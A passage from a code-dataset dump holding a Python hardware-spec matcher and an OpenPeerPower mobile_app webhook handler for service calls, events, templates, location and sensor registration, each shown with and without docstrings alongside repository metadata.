match_spec(spec, lines, arr, adder=_appender): ret = True return ret def generate_filename_and_macs(items): '''Generate a file name for a hardware using DMI information. (product name and version) then if the DMI serial number is available we use it unless we lookup the first mac address. As a result, we do have a filename like : <dmi_product_name>-<dmi_product_version>-{dmi_serial_num|mac_address} ''' # Duplicate items as it will be modified by match_* functions hw_items = list(items) sysvars = {} sysvars['sysname'] = '' if match_spec(('system', 'product', 'vendor', '$sysprodvendor'), hw_items, sysvars): sysvars['sysname'] += (re.sub(r'\W+', '', sysvars['sysprodvendor']) + '-') if match_spec(('system', 'product', 'name', '$sysprodname'), hw_items, sysvars): sysvars['sysname'] = re.sub(r'\W+', '', sysvars['sysprodname']) + '-' # Let's use any existing DMI serial number or take the first mac address if match_spec(('system', 'product', 'serial', '$sysserial'), hw_items, sysvars): sysvars['sysname'] += re.sub(r'\W+', '', sysvars['sysserial']) + '-' # we always need to have the mac addresses for pxemngr if match_multiple(hw_items, ('network', '$eth', 'serial', '$serial'), sysvars): sysvars['sysname'] += sysvars['serial'][0].replace(':', '-') else: LOG.warning('unable to detect network macs') return sysvars # matcher.py ends here

31.281879

78

0.548487

import ipaddress import logging import re import sys LOG = logging.getLogger('hardware.matcher') def _adder(array, index, value): array[index] = value def _appender(array, index, value): try: array[index].append(value) except KeyError: array[index] = [value, ] def _range(elt, minval, maxval): return float(elt) >= float(minval) and float(elt) <= float(maxval) def _gt(left, right): return float(left) > float(right) def _ge(left, right): return float(left) >= float(right) def _lt(left, right): return float(left) < float(right) def _le(left, right): return float(left) <= float(right) def _not(_, right): return not right def _and(_, left, right): return left and right def _or(_, left, right): return left or right def _network(left, right): return ipaddress.IPv4Address(left) in ipaddress.IPv4Network(right) def _regexp(left, right): return re.search(right, left) is not None def _in(elt, *lst): return elt in lst _FUNC_REGEXP = re.compile(r'^([^(]+)' r'$\s*([^,]+)' r'(?:\s*,\s*(.+))?' r'$$') def _call_func(func, implicit, res): args = [implicit, res.group(2)] if res.group(3): args = args + re.split(r'\s*,\s*', res.group(3)) args = [x.strip('\'"') for x in args] # call function args = [_extract_result(implicit, x) for x in args] return func(*args) def _extract_result(implicit, expr): res = _FUNC_REGEXP.search(expr) if res: func_name = '_' + res.group(1) if func_name in globals(): return _call_func(globals()[func_name], implicit, res) else: return expr else: return expr def match_spec(spec, lines, arr, adder=_adder): # match a line without variable for idx in range(len(lines)): if lines[idx] == spec: res = lines[idx] del lines[idx] return res # match a line with a variable, a function or both for lidx in range(len(lines)): line = lines[lidx] varidx = [] for idx in range(4): # try to split the variable and function parts if we have both if spec[idx][0] == '$': parts = spec[idx].split('=') if len(parts) == 2: var, func = parts matched = False else: var = func = spec[idx] else: var = func = spec[idx] # Match a function if func[-1] == ')': res = _FUNC_REGEXP.search(func) if res: func_name = '_' + res.group(1) if func_name in globals(): if not _call_func(globals()[func_name], line[idx], res): if var == func: break else: if var == func: continue matched = True else: if var == func: break # Match a variable if ((var == func) or (var != func and matched)) and var[0] == '$': if adder == _adder and var[1:] in arr: if arr[var[1:]] != line[idx]: break varidx.append((idx, var[1:])) # Match the full string elif line[idx] != spec[idx]: break else: for i, var in varidx: adder(arr, var, line[i]) res = lines[lidx] del lines[lidx] return res return False def match_all(lines, specs, arr, arr2, debug=False, level=0): # Work on a copy of lines to avoid changing the real lines because # match_spec removes the matched line to not match it again on next # calls. lines = list(lines) specs = list(specs) copy_arr = dict(arr) points = [] # Prevent infinit loops if level == 50: return False # Match lines using specs while len(specs) > 0: copy_specs = list(specs) spec = specs.pop(0) line = match_spec(spec, lines, arr) if debug: sys.stderr.write('match_spec: %s %s\n' % (line, spec)) # No match if not line: # Backtrack on the backtracking points while len(points) > 0: lines, specs, new_arr = points.pop() if debug: sys.stderr.write('retrying with: %s\n' % (new_arr,)) if match_all(lines, specs, new_arr, arr2, debug, level + 1): # Copy arr back for k in new_arr: arr[k] = new_arr[k] if debug: sys.stderr.write('success: %d\n' % level) return True if level == 0 and debug: sys.stderr.write('spec: %s not matched\n' % str(spec)) return False else: # Store backtraking points when we find a new variable if arr != copy_arr: copy_lines = list(lines) # Put the matching line at the end of the lines copy_lines.append(line) points.append((copy_lines, copy_specs, copy_arr)) copy_arr = dict(arr) if debug: sys.stderr.write('new var: %s %s\n' % (arr, line)) # Manage $$ variables for key in arr: if key[0] == '$': nkey = key[1:] arr[nkey] = arr[key] arr2[nkey] = arr[key] del arr[key] return True def match_multiple(lines, spec, arr): ret = False lines = list(lines) while match_spec(spec, lines, arr, adder=_appender): ret = True return ret def generate_filename_and_macs(items): # Duplicate items as it will be modified by match_* functions hw_items = list(items) sysvars = {} sysvars['sysname'] = '' if match_spec(('system', 'product', 'vendor', '$sysprodvendor'), hw_items, sysvars): sysvars['sysname'] += (re.sub(r'\W+', '', sysvars['sysprodvendor']) + '-') if match_spec(('system', 'product', 'name', '$sysprodname'), hw_items, sysvars): sysvars['sysname'] = re.sub(r'\W+', '', sysvars['sysprodname']) + '-' # Let's use any existing DMI serial number or take the first mac address if match_spec(('system', 'product', 'serial', '$sysserial'), hw_items, sysvars): sysvars['sysname'] += re.sub(r'\W+', '', sysvars['sysserial']) + '-' # we always need to have the mac addresses for pxemngr if match_multiple(hw_items, ('network', '$eth', 'serial', '$serial'), sysvars): sysvars['sysname'] += sysvars['serial'][0].replace(':', '-') else: LOG.warning('unable to detect network macs') return sysvars # matcher.py ends here

true

f70ffb5207b57f675a7239f3cd40636f10b65be5

15,741

py

Python

openpeerpower/components/mobile_app/webhook.py

OpenPeerPower/openpeerpower

940a04a88e8f78e2d010dc912ad6905ae363503c

[ "Apache-2.0" ]

null

openpeerpower/components/mobile_app/webhook.py

OpenPeerPower/openpeerpower

940a04a88e8f78e2d010dc912ad6905ae363503c

[ "Apache-2.0" ]

null

openpeerpower/components/mobile_app/webhook.py

OpenPeerPower/openpeerpower

940a04a88e8f78e2d010dc912ad6905ae363503c

[ "Apache-2.0" ]

1

2019-04-24T14:10:08.000Z

"""Webhook handlers for mobile_app.""" from functools import wraps import logging import secrets from aiohttp.web import HTTPBadRequest, Request, Response, json_response from nacl.secret import SecretBox import voluptuous as vol from openpeerpower.components.binary_sensor import ( DEVICE_CLASSES as BINARY_SENSOR_CLASSES, ) from openpeerpower.components.device_tracker import ( ATTR_BATTERY, ATTR_GPS, ATTR_GPS_ACCURACY, ATTR_LOCATION_NAME, ) from openpeerpower.components.frontend import MANIFEST_JSON from openpeerpower.components.sensor import DEVICE_CLASSES as SENSOR_CLASSES from openpeerpower.components.zone.const import DOMAIN as ZONE_DOMAIN from openpeerpower.const import ( ATTR_DOMAIN, ATTR_SERVICE, ATTR_SERVICE_DATA, CONF_WEBHOOK_ID, HTTP_BAD_REQUEST, HTTP_CREATED, ) from openpeerpower.core import EventOrigin from openpeerpower.exceptions import OpenPeerPowerError, ServiceNotFound, TemplateError from openpeerpower.helpers import config_validation as cv, device_registry as dr from openpeerpower.helpers.dispatcher import async_dispatcher_send from openpeerpower.helpers.template import attach from openpeerpower.helpers.typing import OpenPeerPowerType from openpeerpower.util.decorator import Registry from .const import ( ATTR_ALTITUDE, ATTR_APP_DATA, ATTR_APP_VERSION, ATTR_COURSE, ATTR_DEVICE_ID, ATTR_DEVICE_NAME, ATTR_EVENT_DATA, ATTR_EVENT_TYPE, ATTR_MANUFACTURER, ATTR_MODEL, ATTR_OS_VERSION, ATTR_SENSOR_ATTRIBUTES, ATTR_SENSOR_DEVICE_CLASS, ATTR_SENSOR_ICON, ATTR_SENSOR_NAME, ATTR_SENSOR_STATE, ATTR_SENSOR_TYPE, ATTR_SENSOR_TYPE_BINARY_SENSOR, ATTR_SENSOR_TYPE_SENSOR, ATTR_SENSOR_UNIQUE_ID, ATTR_SENSOR_UOM, ATTR_SPEED, ATTR_SUPPORTS_ENCRYPTION, ATTR_TEMPLATE, ATTR_TEMPLATE_VARIABLES, ATTR_VERTICAL_ACCURACY, ATTR_WEBHOOK_DATA, ATTR_WEBHOOK_ENCRYPTED, ATTR_WEBHOOK_ENCRYPTED_DATA, ATTR_WEBHOOK_TYPE, CONF_CLOUDHOOK_URL, CONF_REMOTE_UI_URL, CONF_SECRET, DATA_CONFIG_ENTRIES, DATA_DELETED_IDS, DATA_STORE, DOMAIN, ERR_ENCRYPTION_ALREADY_ENABLED, ERR_ENCRYPTION_NOT_AVAILABLE, ERR_ENCRYPTION_REQUIRED, ERR_SENSOR_DUPLICATE_UNIQUE_ID, ERR_SENSOR_NOT_REGISTERED, SIGNAL_LOCATION_UPDATE, SIGNAL_SENSOR_UPDATE, ) from .helpers import ( _decrypt_payload, empty_okay_response, error_response, registration_context, safe_registration, savable_state, supports_encryption, webhook_response, ) _LOGGER = logging.getLogger(__name__) WEBHOOK_COMMANDS = Registry() COMBINED_CLASSES = set(BINARY_SENSOR_CLASSES + SENSOR_CLASSES) SENSOR_TYPES = [ATTR_SENSOR_TYPE_BINARY_SENSOR, ATTR_SENSOR_TYPE_SENSOR] WEBHOOK_PAYLOAD_SCHEMA = vol.Schema( { vol.Required(ATTR_WEBHOOK_TYPE): cv.string, vol.Required(ATTR_WEBHOOK_DATA, default={}): vol.Any(dict, list), vol.Optional(ATTR_WEBHOOK_ENCRYPTED, default=False): cv.boolean, vol.Optional(ATTR_WEBHOOK_ENCRYPTED_DATA): cv.string, } ) def validate_schema(schema): """Decorate a webhook function with a schema.""" if isinstance(schema, dict): schema = vol.Schema(schema) def wrapper(func): """Wrap function so we validate schema.""" @wraps(func) async def validate_and_run(opp, config_entry, data): """Validate input and call handler.""" try: data = schema(data) except vol.Invalid as ex: err = vol.humanize.humanize_error(data, ex) _LOGGER.error("Received invalid webhook payload: %s", err) return empty_okay_response() return await func(opp, config_entry, data) return validate_and_run return wrapper async def handle_webhook( opp: OpenPeerPowerType, webhook_id: str, request: Request ) -> Response: """Handle webhook callback.""" if webhook_id in opp.data[DOMAIN][DATA_DELETED_IDS]: return Response(status=410) config_entry = opp.data[DOMAIN][DATA_CONFIG_ENTRIES][webhook_id] try: req_data = await request.json() except ValueError: _LOGGER.warning("Received invalid JSON from mobile_app") return empty_okay_response(status=HTTP_BAD_REQUEST) if ( ATTR_WEBHOOK_ENCRYPTED not in req_data and config_entry.data[ATTR_SUPPORTS_ENCRYPTION] ): _LOGGER.warning( "Refusing to accept unencrypted webhook from %s", config_entry.data[ATTR_DEVICE_NAME], ) return error_response(ERR_ENCRYPTION_REQUIRED, "Encryption required") try: req_data = WEBHOOK_PAYLOAD_SCHEMA(req_data) except vol.Invalid as ex: err = vol.humanize.humanize_error(req_data, ex) _LOGGER.error("Received invalid webhook payload: %s", err) return empty_okay_response() webhook_type = req_data[ATTR_WEBHOOK_TYPE] webhook_payload = req_data.get(ATTR_WEBHOOK_DATA, {}) if req_data[ATTR_WEBHOOK_ENCRYPTED]: enc_data = req_data[ATTR_WEBHOOK_ENCRYPTED_DATA] webhook_payload = _decrypt_payload(config_entry.data[CONF_SECRET], enc_data) if webhook_type not in WEBHOOK_COMMANDS: _LOGGER.error("Received invalid webhook type: %s", webhook_type) return empty_okay_response() _LOGGER.debug( "Received webhook payload for type %s: %s", webhook_type, webhook_payload ) return await WEBHOOK_COMMANDS[webhook_type](opp, config_entry, webhook_payload) @WEBHOOK_COMMANDS.register("call_service") @validate_schema( { vol.Required(ATTR_DOMAIN): cv.string, vol.Required(ATTR_SERVICE): cv.string, vol.Optional(ATTR_SERVICE_DATA, default={}): dict, } ) async def webhook_call_service(opp, config_entry, data): """Handle a call service webhook.""" try: await opp.services.async_call( data[ATTR_DOMAIN], data[ATTR_SERVICE], data[ATTR_SERVICE_DATA], blocking=True, context=registration_context(config_entry.data), ) except (vol.Invalid, ServiceNotFound, Exception) as ex: _LOGGER.error( "Error when calling service during mobile_app " "webhook (device name: %s): %s", config_entry.data[ATTR_DEVICE_NAME], ex, ) raise HTTPBadRequest() return empty_okay_response() @WEBHOOK_COMMANDS.register("fire_event") @validate_schema( { vol.Required(ATTR_EVENT_TYPE): cv.string, vol.Optional(ATTR_EVENT_DATA, default={}): dict, } ) async def webhook_fire_event(opp, config_entry, data): """Handle a fire event webhook.""" event_type = data[ATTR_EVENT_TYPE] opp.bus.async_fire( event_type, data[ATTR_EVENT_DATA], EventOrigin.remote, context=registration_context(config_entry.data), ) return empty_okay_response() @WEBHOOK_COMMANDS.register("render_template") @validate_schema( { str: { vol.Required(ATTR_TEMPLATE): cv.template, vol.Optional(ATTR_TEMPLATE_VARIABLES, default={}): dict, } } ) async def webhook_render_template(opp, config_entry, data): """Handle a render template webhook.""" resp = {} for key, item in data.items(): try: tpl = item[ATTR_TEMPLATE] attach(opp, tpl) resp[key] = tpl.async_render(item.get(ATTR_TEMPLATE_VARIABLES)) except TemplateError as ex: resp[key] = {"error": str(ex)} return webhook_response(resp, registration=config_entry.data) @WEBHOOK_COMMANDS.register("update_location") @validate_schema( { vol.Optional(ATTR_LOCATION_NAME): cv.string, vol.Required(ATTR_GPS): cv.gps, vol.Required(ATTR_GPS_ACCURACY): cv.positive_int, vol.Optional(ATTR_BATTERY): cv.positive_int, vol.Optional(ATTR_SPEED): cv.positive_int, vol.Optional(ATTR_ALTITUDE): vol.Coerce(float), vol.Optional(ATTR_COURSE): cv.positive_int, vol.Optional(ATTR_VERTICAL_ACCURACY): cv.positive_int, } ) async def webhook_update_location(opp, config_entry, data): """Handle an update location webhook.""" opp.helpers.dispatcher.async_dispatcher_send( SIGNAL_LOCATION_UPDATE.format(config_entry.entry_id), data ) return empty_okay_response() @WEBHOOK_COMMANDS.register("update_registration") @validate_schema( { vol.Optional(ATTR_APP_DATA, default={}): dict, vol.Required(ATTR_APP_VERSION): cv.string, vol.Required(ATTR_DEVICE_NAME): cv.string, vol.Required(ATTR_MANUFACTURER): cv.string, vol.Required(ATTR_MODEL): cv.string, vol.Optional(ATTR_OS_VERSION): cv.string, } ) async def webhook_update_registration(opp, config_entry, data): """Handle an update registration webhook.""" new_registration = {**config_entry.data, **data} device_registry = await dr.async_get_registry(opp) device_registry.async_get_or_create( config_entry_id=config_entry.entry_id, identifiers={(DOMAIN, config_entry.data[ATTR_DEVICE_ID])}, manufacturer=new_registration[ATTR_MANUFACTURER], model=new_registration[ATTR_MODEL], name=new_registration[ATTR_DEVICE_NAME], sw_version=new_registration[ATTR_OS_VERSION], ) opp.config_entries.async_update_entry(config_entry, data=new_registration) return webhook_response( safe_registration(new_registration), registration=new_registration, ) @WEBHOOK_COMMANDS.register("enable_encryption") async def webhook_enable_encryption(opp, config_entry, data): """Handle a encryption enable webhook.""" if config_entry.data[ATTR_SUPPORTS_ENCRYPTION]: _LOGGER.warning( "Refusing to enable encryption for %s because it is already enabled!", config_entry.data[ATTR_DEVICE_NAME], ) return error_response( ERR_ENCRYPTION_ALREADY_ENABLED, "Encryption already enabled" ) if not supports_encryption(): _LOGGER.warning( "Unable to enable encryption for %s because libsodium is unavailable!", config_entry.data[ATTR_DEVICE_NAME], ) return error_response(ERR_ENCRYPTION_NOT_AVAILABLE, "Encryption is unavailable") secret = secrets.token_hex(SecretBox.KEY_SIZE) data = {**config_entry.data, ATTR_SUPPORTS_ENCRYPTION: True, CONF_SECRET: secret} opp.config_entries.async_update_entry(config_entry, data=data) return json_response({"secret": secret}) @WEBHOOK_COMMANDS.register("register_sensor") @validate_schema( { vol.Optional(ATTR_SENSOR_ATTRIBUTES, default={}): dict, vol.Optional(ATTR_SENSOR_DEVICE_CLASS): vol.All( vol.Lower, vol.In(COMBINED_CLASSES) ), vol.Required(ATTR_SENSOR_NAME): cv.string, vol.Required(ATTR_SENSOR_TYPE): vol.In(SENSOR_TYPES), vol.Required(ATTR_SENSOR_UNIQUE_ID): cv.string, vol.Optional(ATTR_SENSOR_UOM): cv.string, vol.Required(ATTR_SENSOR_STATE): vol.Any(bool, str, int, float), vol.Optional(ATTR_SENSOR_ICON, default="mdi:cellphone"): cv.icon, } ) async def webhook_register_sensor(opp, config_entry, data): """Handle a register sensor webhook.""" entity_type = data[ATTR_SENSOR_TYPE] unique_id = data[ATTR_SENSOR_UNIQUE_ID] unique_store_key = f"{config_entry.data[CONF_WEBHOOK_ID]}_{unique_id}" if unique_store_key in opp.data[DOMAIN][entity_type]: _LOGGER.error("Refusing to re-register existing sensor %s!", unique_id) return error_response( ERR_SENSOR_DUPLICATE_UNIQUE_ID, f"{entity_type} {unique_id} already exists!", status=409, ) data[CONF_WEBHOOK_ID] = config_entry.data[CONF_WEBHOOK_ID] opp.data[DOMAIN][entity_type][unique_store_key] = data try: await opp.data[DOMAIN][DATA_STORE].async_save(savable_state(opp)) except OpenPeerPowerError as ex: _LOGGER.error("Error registering sensor: %s", ex) return empty_okay_response() register_signal = "{}_{}_register".format(DOMAIN, data[ATTR_SENSOR_TYPE]) async_dispatcher_send(opp, register_signal, data) return webhook_response( {"success": True}, registration=config_entry.data, status=HTTP_CREATED, ) @WEBHOOK_COMMANDS.register("update_sensor_states") @validate_schema( vol.All( cv.ensure_list, [ vol.Schema( { vol.Optional(ATTR_SENSOR_ATTRIBUTES, default={}): dict, vol.Optional(ATTR_SENSOR_ICON, default="mdi:cellphone"): cv.icon, vol.Required(ATTR_SENSOR_STATE): vol.Any(bool, str, int, float), vol.Required(ATTR_SENSOR_TYPE): vol.In(SENSOR_TYPES), vol.Required(ATTR_SENSOR_UNIQUE_ID): cv.string, } ) ], ) ) async def webhook_update_sensor_states(opp, config_entry, data): """Handle an update sensor states webhook.""" resp = {} for sensor in data: entity_type = sensor[ATTR_SENSOR_TYPE] unique_id = sensor[ATTR_SENSOR_UNIQUE_ID] unique_store_key = f"{config_entry.data[CONF_WEBHOOK_ID]}_{unique_id}" if unique_store_key not in opp.data[DOMAIN][entity_type]: _LOGGER.error( "Refusing to update non-registered sensor: %s", unique_store_key ) err_msg = f"{entity_type} {unique_id} is not registered" resp[unique_id] = { "success": False, "error": {"code": ERR_SENSOR_NOT_REGISTERED, "message": err_msg}, } continue entry = opp.data[DOMAIN][entity_type][unique_store_key] new_state = {**entry, **sensor} opp.data[DOMAIN][entity_type][unique_store_key] = new_state safe = savable_state(opp) try: await opp.data[DOMAIN][DATA_STORE].async_save(safe) except OpenPeerPowerError as ex: _LOGGER.error("Error updating mobile_app registration: %s", ex) return empty_okay_response() async_dispatcher_send(opp, SIGNAL_SENSOR_UPDATE, new_state) resp[unique_id] = {"success": True} return webhook_response(resp, registration=config_entry.data) @WEBHOOK_COMMANDS.register("get_zones") async def webhook_get_zones(opp, config_entry, data): """Handle a get zones webhook.""" zones = [ opp.states.get(entity_id) for entity_id in sorted(opp.states.async_entity_ids(ZONE_DOMAIN)) ] return webhook_response(zones, registration=config_entry.data) @WEBHOOK_COMMANDS.register("get_config") async def webhook_get_config(opp, config_entry, data): """Handle a get config webhook.""" opp_config = opp.config.as_dict() resp = { "latitude": opp_config["latitude"], "longitude": opp_config["longitude"], "elevation": opp_config["elevation"], "unit_system": opp_config["unit_system"], "location_name": opp_config["location_name"], "time_zone": opp_config["time_zone"], "components": opp_config["components"], "version": opp_config["version"], "theme_color": MANIFEST_JSON["theme_color"], } if CONF_CLOUDHOOK_URL in config_entry.data: resp[CONF_CLOUDHOOK_URL] = config_entry.data[CONF_CLOUDHOOK_URL] try: resp[CONF_REMOTE_UI_URL] = opp.components.cloud.async_remote_ui_url() except opp.components.cloud.CloudNotAvailable: pass return webhook_response(resp, registration=config_entry.data)

32.12449

88

0.688711

from functools import wraps import logging import secrets from aiohttp.web import HTTPBadRequest, Request, Response, json_response from nacl.secret import SecretBox import voluptuous as vol from openpeerpower.components.binary_sensor import ( DEVICE_CLASSES as BINARY_SENSOR_CLASSES, ) from openpeerpower.components.device_tracker import ( ATTR_BATTERY, ATTR_GPS, ATTR_GPS_ACCURACY, ATTR_LOCATION_NAME, ) from openpeerpower.components.frontend import MANIFEST_JSON from openpeerpower.components.sensor import DEVICE_CLASSES as SENSOR_CLASSES from openpeerpower.components.zone.const import DOMAIN as ZONE_DOMAIN from openpeerpower.const import ( ATTR_DOMAIN, ATTR_SERVICE, ATTR_SERVICE_DATA, CONF_WEBHOOK_ID, HTTP_BAD_REQUEST, HTTP_CREATED, ) from openpeerpower.core import EventOrigin from openpeerpower.exceptions import OpenPeerPowerError, ServiceNotFound, TemplateError from openpeerpower.helpers import config_validation as cv, device_registry as dr from openpeerpower.helpers.dispatcher import async_dispatcher_send from openpeerpower.helpers.template import attach from openpeerpower.helpers.typing import OpenPeerPowerType from openpeerpower.util.decorator import Registry from .const import ( ATTR_ALTITUDE, ATTR_APP_DATA, ATTR_APP_VERSION, ATTR_COURSE, ATTR_DEVICE_ID, ATTR_DEVICE_NAME, ATTR_EVENT_DATA, ATTR_EVENT_TYPE, ATTR_MANUFACTURER, ATTR_MODEL, ATTR_OS_VERSION, ATTR_SENSOR_ATTRIBUTES, ATTR_SENSOR_DEVICE_CLASS, ATTR_SENSOR_ICON, ATTR_SENSOR_NAME, ATTR_SENSOR_STATE, ATTR_SENSOR_TYPE, ATTR_SENSOR_TYPE_BINARY_SENSOR, ATTR_SENSOR_TYPE_SENSOR, ATTR_SENSOR_UNIQUE_ID, ATTR_SENSOR_UOM, ATTR_SPEED, ATTR_SUPPORTS_ENCRYPTION, ATTR_TEMPLATE, ATTR_TEMPLATE_VARIABLES, ATTR_VERTICAL_ACCURACY, ATTR_WEBHOOK_DATA, ATTR_WEBHOOK_ENCRYPTED, ATTR_WEBHOOK_ENCRYPTED_DATA, ATTR_WEBHOOK_TYPE, CONF_CLOUDHOOK_URL, CONF_REMOTE_UI_URL, CONF_SECRET, DATA_CONFIG_ENTRIES, DATA_DELETED_IDS, DATA_STORE, DOMAIN, ERR_ENCRYPTION_ALREADY_ENABLED, ERR_ENCRYPTION_NOT_AVAILABLE, ERR_ENCRYPTION_REQUIRED, ERR_SENSOR_DUPLICATE_UNIQUE_ID, ERR_SENSOR_NOT_REGISTERED, SIGNAL_LOCATION_UPDATE, SIGNAL_SENSOR_UPDATE, ) from .helpers import ( _decrypt_payload, empty_okay_response, error_response, registration_context, safe_registration, savable_state, supports_encryption, webhook_response, ) _LOGGER = logging.getLogger(__name__) WEBHOOK_COMMANDS = Registry() COMBINED_CLASSES = set(BINARY_SENSOR_CLASSES + SENSOR_CLASSES) SENSOR_TYPES = [ATTR_SENSOR_TYPE_BINARY_SENSOR, ATTR_SENSOR_TYPE_SENSOR] WEBHOOK_PAYLOAD_SCHEMA = vol.Schema( { vol.Required(ATTR_WEBHOOK_TYPE): cv.string, vol.Required(ATTR_WEBHOOK_DATA, default={}): vol.Any(dict, list), vol.Optional(ATTR_WEBHOOK_ENCRYPTED, default=False): cv.boolean, vol.Optional(ATTR_WEBHOOK_ENCRYPTED_DATA): cv.string, } ) def validate_schema(schema): if isinstance(schema, dict): schema = vol.Schema(schema) def wrapper(func): @wraps(func) async def validate_and_run(opp, config_entry, data): try: data = schema(data) except vol.Invalid as ex: err = vol.humanize.humanize_error(data, ex) _LOGGER.error("Received invalid webhook payload: %s", err) return empty_okay_response() return await func(opp, config_entry, data) return validate_and_run return wrapper async def handle_webhook( opp: OpenPeerPowerType, webhook_id: str, request: Request ) -> Response: if webhook_id in opp.data[DOMAIN][DATA_DELETED_IDS]: return Response(status=410) config_entry = opp.data[DOMAIN][DATA_CONFIG_ENTRIES][webhook_id] try: req_data = await request.json() except ValueError: _LOGGER.warning("Received invalid JSON from mobile_app") return empty_okay_response(status=HTTP_BAD_REQUEST) if ( ATTR_WEBHOOK_ENCRYPTED not in req_data and config_entry.data[ATTR_SUPPORTS_ENCRYPTION] ): _LOGGER.warning( "Refusing to accept unencrypted webhook from %s", config_entry.data[ATTR_DEVICE_NAME], ) return error_response(ERR_ENCRYPTION_REQUIRED, "Encryption required") try: req_data = WEBHOOK_PAYLOAD_SCHEMA(req_data) except vol.Invalid as ex: err = vol.humanize.humanize_error(req_data, ex) _LOGGER.error("Received invalid webhook payload: %s", err) return empty_okay_response() webhook_type = req_data[ATTR_WEBHOOK_TYPE] webhook_payload = req_data.get(ATTR_WEBHOOK_DATA, {}) if req_data[ATTR_WEBHOOK_ENCRYPTED]: enc_data = req_data[ATTR_WEBHOOK_ENCRYPTED_DATA] webhook_payload = _decrypt_payload(config_entry.data[CONF_SECRET], enc_data) if webhook_type not in WEBHOOK_COMMANDS: _LOGGER.error("Received invalid webhook type: %s", webhook_type) return empty_okay_response() _LOGGER.debug( "Received webhook payload for type %s: %s", webhook_type, webhook_payload ) return await WEBHOOK_COMMANDS[webhook_type](opp, config_entry, webhook_payload) @WEBHOOK_COMMANDS.register("call_service") @validate_schema( { vol.Required(ATTR_DOMAIN): cv.string, vol.Required(ATTR_SERVICE): cv.string, vol.Optional(ATTR_SERVICE_DATA, default={}): dict, } ) async def webhook_call_service(opp, config_entry, data): try: await opp.services.async_call( data[ATTR_DOMAIN], data[ATTR_SERVICE], data[ATTR_SERVICE_DATA], blocking=True, context=registration_context(config_entry.data), ) except (vol.Invalid, ServiceNotFound, Exception) as ex: _LOGGER.error( "Error when calling service during mobile_app " "webhook (device name: %s): %s", config_entry.data[ATTR_DEVICE_NAME], ex, ) raise HTTPBadRequest() return empty_okay_response() @WEBHOOK_COMMANDS.register("fire_event") @validate_schema( { vol.Required(ATTR_EVENT_TYPE): cv.string, vol.Optional(ATTR_EVENT_DATA, default={}): dict, } ) async def webhook_fire_event(opp, config_entry, data): event_type = data[ATTR_EVENT_TYPE] opp.bus.async_fire( event_type, data[ATTR_EVENT_DATA], EventOrigin.remote, context=registration_context(config_entry.data), ) return empty_okay_response() @WEBHOOK_COMMANDS.register("render_template") @validate_schema( { str: { vol.Required(ATTR_TEMPLATE): cv.template, vol.Optional(ATTR_TEMPLATE_VARIABLES, default={}): dict, } } ) async def webhook_render_template(opp, config_entry, data): resp = {} for key, item in data.items(): try: tpl = item[ATTR_TEMPLATE] attach(opp, tpl) resp[key] = tpl.async_render(item.get(ATTR_TEMPLATE_VARIABLES)) except TemplateError as ex: resp[key] = {"error": str(ex)} return webhook_response(resp, registration=config_entry.data) @WEBHOOK_COMMANDS.register("update_location") @validate_schema( { vol.Optional(ATTR_LOCATION_NAME): cv.string, vol.Required(ATTR_GPS): cv.gps, vol.Required(ATTR_GPS_ACCURACY): cv.positive_int, vol.Optional(ATTR_BATTERY): cv.positive_int, vol.Optional(ATTR_SPEED): cv.positive_int, vol.Optional(ATTR_ALTITUDE): vol.Coerce(float), vol.Optional(ATTR_COURSE): cv.positive_int, vol.Optional(ATTR_VERTICAL_ACCURACY): cv.positive_int, } ) async def webhook_update_location(opp, config_entry, data): opp.helpers.dispatcher.async_dispatcher_send( SIGNAL_LOCATION_UPDATE.format(config_entry.entry_id), data ) return empty_okay_response() @WEBHOOK_COMMANDS.register("update_registration") @validate_schema( { vol.Optional(ATTR_APP_DATA, default={}): dict, vol.Required(ATTR_APP_VERSION): cv.string, vol.Required(ATTR_DEVICE_NAME): cv.string, vol.Required(ATTR_MANUFACTURER): cv.string, vol.Required(ATTR_MODEL): cv.string, vol.Optional(ATTR_OS_VERSION): cv.string, } ) async def webhook_update_registration(opp, config_entry, data): new_registration = {**config_entry.data, **data} device_registry = await dr.async_get_registry(opp) device_registry.async_get_or_create( config_entry_id=config_entry.entry_id, identifiers={(DOMAIN, config_entry.data[ATTR_DEVICE_ID])}, manufacturer=new_registration[ATTR_MANUFACTURER], model=new_registration[ATTR_MODEL], name=new_registration[ATTR_DEVICE_NAME], sw_version=new_registration[ATTR_OS_VERSION], ) opp.config_entries.async_update_entry(config_entry, data=new_registration) return webhook_response( safe_registration(new_registration), registration=new_registration, ) @WEBHOOK_COMMANDS.register("enable_encryption") async def webhook_enable_encryption(opp, config_entry, data): if config_entry.data[ATTR_SUPPORTS_ENCRYPTION]: _LOGGER.warning( "Refusing to enable encryption for %s because it is already enabled!", config_entry.data[ATTR_DEVICE_NAME], ) return error_response( ERR_ENCRYPTION_ALREADY_ENABLED, "Encryption already enabled" ) if not supports_encryption(): _LOGGER.warning( "Unable to enable encryption for %s because libsodium is unavailable!", config_entry.data[ATTR_DEVICE_NAME], ) return error_response(ERR_ENCRYPTION_NOT_AVAILABLE, "Encryption is unavailable") secret = secrets.token_hex(SecretBox.KEY_SIZE) data = {**config_entry.data, ATTR_SUPPORTS_ENCRYPTION: True, CONF_SECRET: secret} opp.config_entries.async_update_entry(config_entry, data=data) return json_response({"secret": secret}) @WEBHOOK_COMMANDS.register("register_sensor") @validate_schema( { vol.Optional(ATTR_SENSOR_ATTRIBUTES, default={}): dict, vol.Optional(ATTR_SENSOR_DEVICE_CLASS): vol.All( vol.Lower, vol.In(COMBINED_CLASSES) ), vol.Required(ATTR_SENSOR_NAME): cv.string, vol.Required(ATTR_SENSOR_TYPE): vol.In(SENSOR_TYPES), vol.Required(ATTR_SENSOR_UNIQUE_ID): cv.string, vol.Optional(ATTR_SENSOR_UOM): cv.string, vol.Required(ATTR_SENSOR_STATE): vol.Any(bool, str, int, float), vol.Optional(ATTR_SENSOR_ICON, default="mdi:cellphone"): cv.icon, } ) async def webhook_register_sensor(opp, config_entry, data): entity_type = data[ATTR_SENSOR_TYPE] unique_id = data[ATTR_SENSOR_UNIQUE_ID] unique_store_key = f"{config_entry.data[CONF_WEBHOOK_ID]}_{unique_id}" if unique_store_key in opp.data[DOMAIN][entity_type]: _LOGGER.error("Refusing to re-register existing sensor %s!", unique_id) return error_response( ERR_SENSOR_DUPLICATE_UNIQUE_ID, f"{entity_type} {unique_id} already exists!", status=409, ) data[CONF_WEBHOOK_ID] = config_entry.data[CONF_WEBHOOK_ID] opp.data[DOMAIN][entity_type][unique_store_key] = data try: await opp.data[DOMAIN][DATA_STORE].async_save(savable_state(opp)) except OpenPeerPowerError as ex: _LOGGER.error("Error registering sensor: %s", 